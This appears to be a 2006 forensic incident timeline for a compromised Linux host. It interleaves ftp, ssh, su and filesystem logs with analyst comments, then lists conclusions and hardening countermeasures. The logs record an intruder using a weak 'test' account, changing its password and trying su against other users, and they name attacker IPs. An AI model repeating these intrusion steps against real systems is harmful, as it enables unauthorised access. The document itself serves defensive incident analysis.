localhost vsftpd: (pam_unix) authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=82.79.137.27 2006/03/09 15:01:39 82.79.137.27 vsftpd: Thu Mar 9 15:01:39 2006 [pid 5946] [anonymous] FAIL LOGIN: Client "82.79.137.27" 2006/03/09 15:01:45 82.79.137.18 * vsftpd: Thu Mar 9 15:01:45 2006 [pid 5963] [test] OK LOGIN: Client "82.79.137.18" 2006/03/09 15:01:47 82.79.137.9 * vsftpd: Thu Mar 9 15:01:47 2006 [pid 5967] [test] OK LOGIN: Client "82.79.137.9" 2006/03/09 15:02:07 82.79.137.20 20.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:07 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-" 2006/03/09 15:02:08 82.79.137.20 20.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:08 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.59/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-" 2006/03/09 15:02:35 82.79.137.18 18.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:35 +0100] "GET / HTTP/1.1" 200 1053 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-" 2006/03/09 15:02:36 82.79.137.18 18.metronetwork.rdsbz.ro - - [09/Mar/2006:15:02:36 +0100] "GET /logowhite.png HTTP/1.1" 200 19801 "http://213.186.53.51/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)" "-" ratibus pts/2 82.233.38.20 Thu Mar 16 23:13 - 23:14 (00:00) 2006/03/17 00:12:32 193.230.222.209 * Mar 17 00:12:32 localhost sshd[30299]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3741 ssh2 2006/03/17 00:12:32 193.230.222.209 * Mar 17 00:12:32 localhost sshd[30318]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 00:12 193.230.222.209 * test pts/2 193.230.222.209 Fri Mar 17 00:12 - 00:30 (00:18) 2006/03/17 00:12:45 193.230.222.209 *!! Mar 17 00:12:45 localhost passwd[30326]: (pam_unix) password changed for test 2006/03/17 00:12:45 193.230.222.209 *!! Mar 17 00:12:45 localhost passwd[30326]: (pam_unix) Password for test was changed 2006/03/17 00:15:35 193.230.222.209 * Mar 17 00:15:35 localhost sshd[30439]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3744 ssh2 2006/03/17 00:15:35 193.230.222.209 * Mar 17 00:15:35 localhost sshd[30454]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 00:15 193.230.222.209 * test pts/3 193.230.222.209 Fri Mar 17 00:15 - 00:15 (00:00) 2006/03/17 00:15:52 193.230.222.209 * Mar 17 00:15:52 localhost sshd[30454]: (pam_unix) session closed for user test 2006/03/17 00:17:28 193.230.222.209 *. Mar 17 00:17:28 localhost su[30537]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost= user=vinoj 2006/03/17 00:17:30 193.230.222.209 *. Mar 17 00:17:30 localhost su[30537]: pam_authenticate: Authentication failure 2006/03/17 00:17:30 193.230.222.209 *. Mar 17 00:17:30 localhost su[30537]: - pts/2 test:vinoj 2006/03/17 00:17:36 193.230.222.209 *. Mar 17 00:17:36 localhost su[30547]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost= user=vinoj 2006/03/17 00:17:38 193.230.222.209 *. Mar 17 00:17:38 localhost su[30547]: pam_authenticate: Authentication failure 2006/03/17 00:17:38 193.230.222.209 *. Mar 17 00:17:38 localhost su[30547]: - pts/2 test:vinoj 2006/03/17 00:18:42 193.230.222.209 .* Mar 17 00:18:42 localhost sshd[30594]: (pam_unix) authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=209-nat.s-man.net user=croulants 2006/03/17 00:18:45 193.230.222.209 .* Mar 17 00:18:45 localhost sshd[30591]: error: PAM: Authentication failure for croulants from 209-nat.s-man.net 2006/03/17 00:18:51 193.230.222.209 .* Mar 17 00:18:51 localhost sshd[30591]: error: PAM: Authentication failure for croulants from 209-nat.s-man.net 2006/03/17 00:18:59 193.230.222.209 .* Mar 17 00:18:59 localhost sshd[30591]: error: PAM: Have exhasted maximum number of retries for service. for croulants from 209-nat.s-man.net 2006/03/17 00:19:10 193.230.222.209 .* Mar 17 00:19:10 localhost sshd[30591]: error: PAM: Have exhasted maximum number of retries for service. for croulants from 209-nat.s-man.net 2006/03/17 00:19:10 193.230.222.209 .* Mar 17 00:19:10 localhost sshd[30591]: Failed keyboard-interactive/pam for croulants from 193.230.222.209 port 3753 ssh2 2006/03/17 00:19:50 193.230.222.209 *. Mar 17 00:19:50 localhost su[30638]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost= user=trollingsecours 2006/03/17 00:19:52 193.230.222.209 *. Mar 17 00:19:52 localhost su[30638]: pam_authenticate: Authentication failure 2006/03/17 00:19:52 193.230.222.209 *. Mar 17 00:19:52 localhost su[30638]: - pts/2 test:trollingsecours 2006/03/17 00:19:57 193.230.222.209 *. Mar 17 00:19:57 localhost su[30643]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost= user=trollingsecours 2006/03/17 00:19:59 193.230.222.209 *. Mar 17 00:19:59 localhost su[30643]: pam_authenticate: Authentication failure 2006/03/17 00:19:59 193.230.222.209 *. Mar 17 00:19:59 localhost su[30643]: - pts/2 test:trollingsecours 2006/03/17 00:20:04 193.230.222.209 *. Mar 17 00:20:04 localhost su[30644]: (pam_unix) authentication failure; logname=test uid=1024 euid=0 tty=pts/2 ruser=test rhost= user=trollingsecours 2006/03/17 00:20:06 193.230.222.209 *. Mar 17 00:20:06 localhost su[30644]: pam_authenticate: Authentication failure 2006/03/17 00:20:06 193.230.222.209 *. Mar 17 00:20:06 localhost su[30644]: - pts/2 test:trollingsecours 2006/03/17 00:26:26 193.230.222.253 193.230.222.253 - - [17/Mar/2006:00:26:26 +0100] "GET / HTTP/1.0" 200 1053 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" "-" 2006/03/17 00:26:27 193.230.222.253 193.230.222.253 - - [17/Mar/2006:00:26:27 +0100] "GET /logowhite.png HTTP/1.0" 200 19801 "http://213.186.53.59/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" "-" 2006/03/17 00:26:28 193.230.222.253 193.230.222.253 - - [17/Mar/2006:00:26:28 +0100] "GET /favicon.ico HTTP/1.0" 404 275 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" "-" 2006/03/17 00:28:33 193.230.222.209 * Mar 17 00:28:33 localhost sshd[31078]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3788 ssh2 2006/03/17 00:28:33 193.230.222.209 * Mar 17 00:28:33 localhost sshd[31107]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 00:28 193.230.222.209 * test pts/4 193.230.222.209 Fri Mar 17 00:28 - 00:30 (00:01) 2006/03/17 00:28:40 193.230.222.209 *! Mar 17 06 00:28:40 0 ..c crw--w---- test tty /dev/pts/5 2006/03/17 00:29:02 193.230.222.209 *! Mar 17 06 00:29:02 0 .a. crw--w---- test tty /dev/pts/5 2006/03/17 00:30:31 193.230.222.209 * Mar 17 00:30:31 localhost sshd[31107]: (pam_unix) session closed for user test 2006/03/17 00:30:33 193.230.222.209 * Mar 17 00:30:33 localhost sshd[30318]: (pam_unix) session closed for user test Mar 17 06 06:35:02 0 m.c prw-r----- root adm /dev/xconsole 2006/03/17 09:00:52 193.230.222.209 * Mar 17 09:00:52 localhost sshd[25229]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3050 ssh2 2006/03/17 09:00:52 193.230.222.209 * Mar 17 09:00:52 localhost sshd[25263]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 09:00 193.230.222.209 * test pts/4 193.230.222.209 Fri Mar 17 09:00 - 09:38 (00:37) 2006/03/17 09:03:43 193.230.222.209 *! Mar 17 06 09:03:43 0 ..c crw--w---- test tty /dev/pts/6 2006/03/17 09:03:58 193.230.222.209 *! Mar 17 06 09:03:58 0 .a. crw--w---- test tty /dev/pts/6 2006/03/17 09:38:33 193.230.222.209 * Mar 17 09:38:33 localhost sshd[25263]: (pam_unix) session closed for user test 2006/03/17 12:19:43 193.230.222.209 * Mar 17 12:19:43 localhost sshd[14815]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3222 ssh2 2006/03/17 12:19:43 193.230.222.209 * Mar 17 12:19:43 localhost sshd[14834]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 12:19 193.230.222.209 * test pts/3 193.230.222.209 Fri Mar 17 12:19 - 14:25 (02:05) 2006/03/17 12:26:01 193.230.222.209 * Mar 17 12:26:01 localhost sshd[15484]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3338 ssh2 2006/03/17 12:26:01 193.230.222.209 * Mar 17 12:26:01 localhost sshd[15511]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 12:26 193.230.222.209 * test pts/4 193.230.222.209 Fri Mar 17 12:26 - 14:30 (02:04) 2006/03/17 12:32:44 193.230.222.209 * Mar 17 12:32:44 localhost sshd[16030]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3353 ssh2 2006/03/17 12:32:44 193.230.222.209 * Mar 17 12:32:44 localhost sshd[16037]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 12:32 193.230.222.209 * test pts/7 193.230.222.209 Fri Mar 17 12:32 - 16:26 (03:53) 2006/03/17 14:25:38 193.230.222.209 * Mar 17 14:25:38 localhost sshd[14834]: (pam_unix) session closed for user test 2006/03/17 14:30:58 193.230.222.209 * Mar 17 14:30:58 localhost sshd[15511]: (pam_unix) session closed for user test 2006/03/17 14:36:43 193.230.222.209 * Mar 17 14:36:43 localhost sshd[585]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 3934 ssh2 2006/03/17 14:36:43 193.230.222.209 * Mar 17 14:36:43 localhost sshd[671]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 14:36 193.230.222.209 * test pts/3 193.230.222.209 Fri Mar 17 14:36 - 16:49 (02:12) 2006/03/17 14:59:56 193.230.222.209 * Mar 17 14:59:56 localhost sshd[5706]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 4025 ssh2 2006/03/17 14:59:56 193.230.222.209 * Mar 17 14:59:56 localhost sshd[5714]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 15:00 193.230.222.209 * test pts/4 193.230.222.209 Fri Mar 17 15:00 - 17:12 (02:12) 2006/03/17 15:03:26 193.230.222.209 * Mar 17 15:03:26 localhost sshd[6092]: Accepted keyboard-interactive/pam for test from 193.230.222.209 port 4027 ssh2 2006/03/17 15:03:26 193.230.222.209 * Mar 17 15:03:26 localhost sshd[6171]: (pam_unix) session opened for user test by (uid=0) 2006/03/17 15:03 193.230.222.209 * test pts/8 193.230.222.209 Fri Mar 17 15:03 - 15:14 (00:10) 2006/03/17 15:14:06 193.230.222.209 * Mar 17 15:14:06 localhost sshd[6171]: (pam_unix) session closed for user test 2006/03/17 16:26:40 193.230.222.209 * Mar 17 16:26:40 localhost sshd[16037]: (pam_unix) session closed for user test 2006/03/17 16:49:15 193.230.222.209 * Mar 17 16:49:15 localhost sshd[671]: (pam_unix) session closed for user test 2006/03/17 17:12:46 193.230.222.209 * Mar 17 17:12:46 localhost sshd[5714]: (pam_unix) session closed for user test 2006/03/17 17:18 # ## First mails blocked... no contact outside is possible via the default IP source Mar 17 19:30:39 localhost sshd[1425]: Accepted keyboard-interactive/pam for skycode from 213.49.238.76 port 1087 ssh2 skycode pts/3 213.49.238.76 Fri Mar 17 19:30 still logged in Mar 17 06 19:30:39 0 ..c crw--w---- skycode tty /dev/pts/3 Mar 17 19:30:50 localhost sudo: skycode : TTY=pts/3 ; PWD=/home/skycode ; USER=root ; COMMAND=/bin/bash Mar 17 19:33:45 localhost sshd[2170]: Accepted keyboard-interactive/pam for skycode from 213.49.238.76 port 1089 ssh2 skycode pts/4 213.49.238.76 Fri Mar 17 19:33 still logged in Mar 17 06 19:33:45 0 ..c crw--w---- skycode tty /dev/pts/4 Mar 17 19:34:41 localhost sudo: skycode : TTY=pts/4 ; PWD=/home ; USER=root ; COMMAND=/bin/bash 2006/03/17 19:37:19 ! Mar 17 19:37:19 localhost su[2642]: + pts/4 root:test Mar 17 06 19:38:16 0 ..c crw--w---- root tty /dev/pts/7 2006/03/17 19:39:21 !! Mar 17 06 19:39:21 2467 m.c -rw-r----- root shadow /etc/shadow = test:$ passwd? 2006/03/17 19:39:21 !! Mar 17 19:39:21 localhost passwd[2713]: (pam_unix) password changed for test 2006/03/17 19:39:21 !! Mar 17 19:39:21 localhost passwd[2713]: (pam_unix) Password for test was changed 2006/03/17 19:40:12 ! Mar 17 19:40:12 localhost su[2763]: + pts/3 root:test 2006/03/17 19:40:19 ! Mar 17 06 19:40:19 4096 m.. drwxr-xr-x test test /home/test 2006/03/17 19:40:19 ! 4096 m.. drwx------ test test /home/test/.mc/cedit = test:$ mc? 2006/03/17 19:40:25 ! Mar 17 06 19:40:25 0 m.. -rw-r--r-- test test /home/test/.mc/history but test not loggued normally 2006/03/17 19:40:25 ! 35 m.. -rw-r--r-- test test /home/test/.mc/Tree or via ./go?? 2006/03/17 19:40:25 ! 4096 m.. drwxr-xr-x test test /home/test/.mc 2006/03/17 19:40:25 ! 32 m.. -rw-r--r-- test test /home/test/.mc/filepos => /tmp/crontab.Hq7als/crontab 1;0 => correspond to crontab -e in .bash_history?... 2006/03/17 19:40:25 ! 1945 m.. -rw-r--r-- test test /home/test/.mc/ini 2006/03/17 19:40:31 ! Mar 17 06 19:40:31 2117 m.. -rw------- test test /home/test/.bash_history phil pts/8 85.234.194.12 Fri Mar 17 20:08 - 20:19 (00:11) phil pts/8 85.234.194.12 Fri Mar 17 20:20 still logged in phil pts/14 85.234.194.12 Fri Mar 17 21:14 still logged in skycode pts/15 213.49.238.76 Fri Mar 17 21:39 still logged in Mar 17 06 21:05:08 0 m.. crw--w---- root tty /dev/pts/12 0 m.. crw------- phil tty /dev/pts/8 Mar 17 06 21:05:09 0 m.. crw--w---- test tty /dev/pts/5 Mar 17 06 21:05:10 0 ma. crw-rw-rw- root tty /dev/ptmx 0 m.. crw--w---- test tty /dev/pts/6 0 .a. crw------- phil tty /dev/pts/8 0 .a. crw-rw-rw- root tty /dev/tty 2006/03/17 21:10:59 # user.log: Mar 17 21:10:59 localhost rpc.mountd: export request from 127.0.0.1 2006/03/17 21:10:59 # user.log: Mar 17 21:10:59 localhost rpc.mountd: dump request from 127.0.0.1 2006/03/17 21:28:56 # Mar 17 21:28:56 localhost -- MARK -- 2006/03/17 21:30:03 # last occurence of 20060317 213003 start /sbin/modprobe -s -k -- net-pf-10 safemode=0 2006/03/17 21:30:03 # last occurence of 20060317 213003 probe ended 2006/03/17 21:45:04 # Mar 17 21:45:04 localhost snmpd[1467]: Connection from 127.0.0.1 2006/03/17 21:45:04 # Mar 17 21:45:04 localhost last message repeated 3 times 2006/03/17 21:48:56 # ## No MARK at 21:48:56 2006/03/17 21:50:05 # Mar 17 21:50:05 localhost snmpd[1467]: Connection from 127.0.0.1 2006/03/17 21:55 # ## No snmp at 21:55 TODO: ===== ftp repository of test?? /var/cache/tct
Conclusions
- Initial breach
- automatic tool scanning ftp accounts could enter with the 'test' account
- manual attempt to log in with the 'test' account
- download over of sniffers and brute-force tools for ssh
- transfers over ftp
- change test password
- 82.79.137.NN = NN.metronetwork.rdsbz.ro
- 193.230.222.209 = 209-nat.s-man.net
- Counter-measures
- don't use dummy passwords ;-)
- don't grant ftp/ssh rights per default
sshd: make use of the "AllowUsers" keyword and explicitely add users when needed - don't grant internet access per default
iptables: cf --uid-owner and other --XXX-owner options
on OUTPUT table to avoid download of malicious code
on INPUT table to avoid bindshells
- Timeline
- Before and during the live forensic analysis we should have written down our own actions and the observable elements rather that having to deduce them from the logs.